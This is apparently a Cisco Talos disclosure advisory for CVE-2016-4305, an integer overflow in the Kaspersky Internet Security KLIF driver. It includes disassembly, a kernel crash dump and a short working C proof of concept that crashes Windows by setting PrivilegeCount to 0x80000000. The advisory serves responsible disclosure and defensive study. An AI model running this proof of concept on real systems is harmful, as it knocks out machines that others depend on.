Talos Vulnerability Report

TALOS-2016-0167

Kaspersky Internet Security KLIF Driver NtAdjustTokenPrivileges_HANDLER Denial of Service

August 26, 2016
CVE Number

CVE-2016-4305

Summary

A denial of service vulnerability exists in the syscall filtering functionality of Kaspersky Internet Security KLIF driver. A specially crafted native api call can cause a access violation in KLIF kernel driver resulting in local denial of service. An attacker can run program from user mode to trigger this vulnerability.

Tested Versions

Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532

Product URLs

http://kaspersky.com

CVSSv3 Score

5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Details

This vulnerability can be triggered by sending specially crafted NtAdjustTokenPrivileges call. Kaspersky x86 platforms by default hooks internal Windows kernel functions. This includes functions from KiServiceTable and W32pServiceTable. Even though new function hooks point to the KLHK driver the real ones are located in the KLIF driver - KLHK driver acts more like a dispatcher.

The faulting code is located in the KLIF driver in a function responsible for filtering the NtAdjustTokenPrivileges:

PAGE:000A218C                 mov     ecx, [ebp+var_14_copyTokenPrivleges_Count]    ; !
PAGE:000A218F                 test    ecx, ecx
PAGE:000A2191                 jz      short loc_A21D5
PAGE:000A2193                 cmp     ecx, 1
PAGE:000A2196                 jnz     short loc_A219E
PAGE:000A2198                 push    ecx
PAGE:000A2199                 lea     eax, [ebp+var_10]
PAGE:000A219C                 jmp     short loc_A21CA
PAGE:000A219E ; ---------------------------------------------------------------------------
PAGE:000A219E
PAGE:000A219E loc_A219E:                              ; CODE XREF: ntHANDLER_NtAdjustPrivilegesToken+F4j
PAGE:000A219E                 imul    ecx, 0Ch                                      ; !!
PAGE:000A21A1                 push    'puLK'          ; Tag
PAGE:000A21A6                 push    1               ; PoolType
PAGE:000A21A8                 add     ecx, 4                                        ; !!!
PAGE:000A21AB                 push    ecx             ; NumberOfBytes
PAGE:000A21AC                 push    [ebp+var_1C_pNewState] ; void *
PAGE:000A21AF                 lea     eax, [ebp+P]
PAGE:000A21B2                 push    eax             ; int
PAGE:000A21B3                 call    AllocAndCopySafe
PAGE:000A21B8                 mov     esi, eax
PAGE:000A21BA                 test    esi, esi
PAGE:000A21BC                 js      loc_A211F
PAGE:000A21C2                 mov     eax, [ebp+P]
PAGE:000A21C5                 push    dword ptr [eax] ; int
PAGE:000A21C7                 add     eax, 4
PAGE:000A21CA
PAGE:000A21CA loc_A21CA:                              ; CODE XREF: ntHANDLER_NtAdjustPrivilegesToken+FAj
PAGE:000A21CA                 push    eax             ; void *
PAGE:000A21CB                 call    sub_A889A
.............
PAGE:000A88A9                 cmp     [ebp+arg_4_TokenPrivilegeCount], esi
PAGE:000A88AC                 jbe     loc_A893A
PAGE:000A88B2                 push    ebx
PAGE:000A88B3                 mov     ebx, [ebp+arg_0]
PAGE:000A88B6
PAGE:000A88B6 loop_continue:                          ; CODE XREF: sub_A889A+96j
PAGE:000A88B6                 mov     eax, ds:SeExports
PAGE:000A88BB                 mov     edx, [ebx]                ; memory read, crash
PAGE:000A88BD                 mov     ecx, [eax]
PAGE:000A88BF                 cmp     [ecx+90h], edx
PAGE:000A88C5                 jnz     short loc_A88D2
PAGE:000A88C7                 mov     eax, [ecx+94h]
PAGE:000A88CD                 cmp     eax, [ebx+4]
PAGE:000A88D0                 jz      short loc_A88F2
.............
PAGE:000A8923 loc_A8923:                              ; CODE XREF: sub_A889A+4Ej
PAGE:000A8923                                         ; sub_A889A+56j ...
PAGE:000A8923                 mov     eax, [ebp+var_4]
PAGE:000A8926                 inc     eax
PAGE:000A8927                 add     ebx, 0Ch                  ; increase memory
PAGE:000A892A                 mov     [ebp+var_4], eax
PAGE:000A892D                 cmp     eax, [ebp+arg_4_TokenPrivilegeCount]
PAGE:000A8930                 jb      short loop_continue

At 0x000A218C ECX is initialized by TOKENPRIVILEGES.PrivilegeCount supplied by attacker. This value is later multiplied (at 0x00A219E) and increased (0x000A21A8) which can lead to integer overflow. For example by supplying TOKENPRIVILEGES.PrivilegeCount to be 0x80000000 we can force the ecx after final calculation to be 0x4. This allows the attacker to pass security checks in the AllocAndCopySafe procedure testing whether user supplied data is located in user mode memory etc.

The crash happens in the "subA889A" routine which takes the forged TOKENPRIVILEGES.PrivilegeCount and bases a loop iteration on this value. So for example attacker can force loop to be executed 0x80000000 times. Since by each loop iteration the requested memory address for read operation is increased, sooner or later KLIF driver will access unavailable memory which will lead to system crash.

Crash Information

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003.  This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG.  This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG.  This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000006, The exception code that was not handled
Arg2: 8b8ce8bb, The address that the exception occurred at
Arg3: 8200fae4, Trap Frame
Arg4: 00000000

Debugging Details:
------------------
EXCEPTION_CODE: (NTSTATUS) 0xc0000006 - Instrukcja spod 0x%p odwo

FAULTING_IP:
klif+988bb
8b8ce8bb 8b13            mov     edx,dword ptr [ebx]

TRAP_FRAME:  8200fae4 -- (.trap 0xffffffff8200fae4)
ErrCode = 00000000
eax=82baf700 ebx=91c00008 ecx=82baf708 edx=00000012 esi=00000000 edi=00000000
eip=8b8ce8bb esp=8200fb58 ebp=8200fb68 iopl=0         ov up ei ng nz na pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010a87
klif+0x988bb:
8b8ce8bb 8b13            mov     edx,dword ptr [ebx]  ds:0023:91c00008=????????
Resetting default scope

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x8E

PROCESS_NAME:  poc_kaspersky1

CURRENT_IRQL:  2

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre

LAST_CONTROL_TRANSFER:  from 82923083 to 828bf110

STACK_TEXT:
8200f09c 82923083 00000003 750dac45 00000065 nt!RtlpBreakWithStatusInstruction
8200f0ec 82923b81 00000003 8200f4f0 00000000 nt!KiBugCheckDebugBreak+0x1c
8200f4b0 82922f20 0000008e c0000006 8b8ce8bb nt!KeBugCheck2+0x68b
8200f4d4 828f908c 0000008e c0000006 8b8ce8bb nt!KeBugCheckEx+0x1e
8200fa74 82882dd6 8200fa90 00000000 8200fae4 nt!KiDispatchException+0x1ac
8200fadc 8288551b 8200fb68 8b8ce8bb badb0d00 nt!CommonDispatchException+0x4a
8200fadc 8b8ce8bb 8200fb68 8b8ce8bb badb0d00 nt!KiTrap0E+0x21f
WARNING: Stack unwind information not available. Following frames may be wrong.
8200fb68 8b8c81d0 91a762f4 80000000 8200fbd8 klif+0x988bb
8200fbb8 8b92d05a 00000040 00000000 0016fb94 klif+0x921d0
8200fbe0 8b92e206 8b8c80a2 8200fc1c 00000018 klhk!Ordinal11+0x1a
8200fbfc 8b92d01f 85f91008 8200fc1c 8200fc10 klhk!Ordinal11+0x11c6
8200fc14 828821ea 00000040 00000000 0016fb94 klhk+0x101f
8200fc14 776370b4 00000040 00000000 0016fb94 nt!KiFastCallEntry+0x12a
0016fb44 77635274 75819c7c 00000040 00000000 ntdll!KiFastSystemCallRet
0016fb48 75819c7c 00000040 00000000 0016fb94 ntdll!ZwAdjustPrivilegesToken+0xc
0016fb6c 01171059 00000040 00000000 0016fb94 KERNELBASE!AdjustTokenPrivileges+0x1e
0016fc00 011718cf 0016fc14 77313c45 7ffda000 poc_kaspersky1+0x1059
0016fc08 77313c45 7ffda000 0016fc54 776537f5 poc_kaspersky1+0x18cf
0016fc14 776537f5 7ffda000 777b190c 00000000 kernel32!BaseThreadInitThunk+0xe
0016fc54 776537c8 011718c0 7ffda000 00000000 ntdll!__RtlUserThreadStart+0x70
0016fc6c 00000000 011718c0 7ffda000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

FOLLOWUP_IP:
klif+988bb
8b8ce8bb 8b13            mov     edx,dword ptr [ebx]

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  klif+988bb

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: klif

IMAGE_NAME:  klif.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  563cb397

IMAGE_VERSION:  10.0.0.1532

FAILURE_BUCKET_ID:  0x8E_klif+988bb

BUCKET_ID:  0x8E_klif+988bb

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:0x8e_klif+988bb

FAILURE_ID_HASH:  {f73b483f-fbd2-23f7-3bf6-f0e859f2245f}

Followup: MachineOwner
---------

Exploit Proof-of-Concept

#include <stdio.h>
#include <windows.h>

int main(void)
{
    HANDLE              hToken;
    TOKEN_PRIVILEGES    tp2;
    TOKEN_PRIVILEGES    tp;
    memset(&tp, 0xCC, sizeof(TOKEN_PRIVILEGES));

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    tp.PrivilegeCount   =   0x80000000;
    DWORD out_size      =   sizeof(TOKEN_PRIVILEGES);

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), &tp2, &out_size);

    return 0;
}

Timeline

2016-04-29 - Vendor Notification
2016-08-26 – Patch Released
2016-08-26 – Public Disclosure

Credit

Discovered by Piotr Bania of Cisco Talos.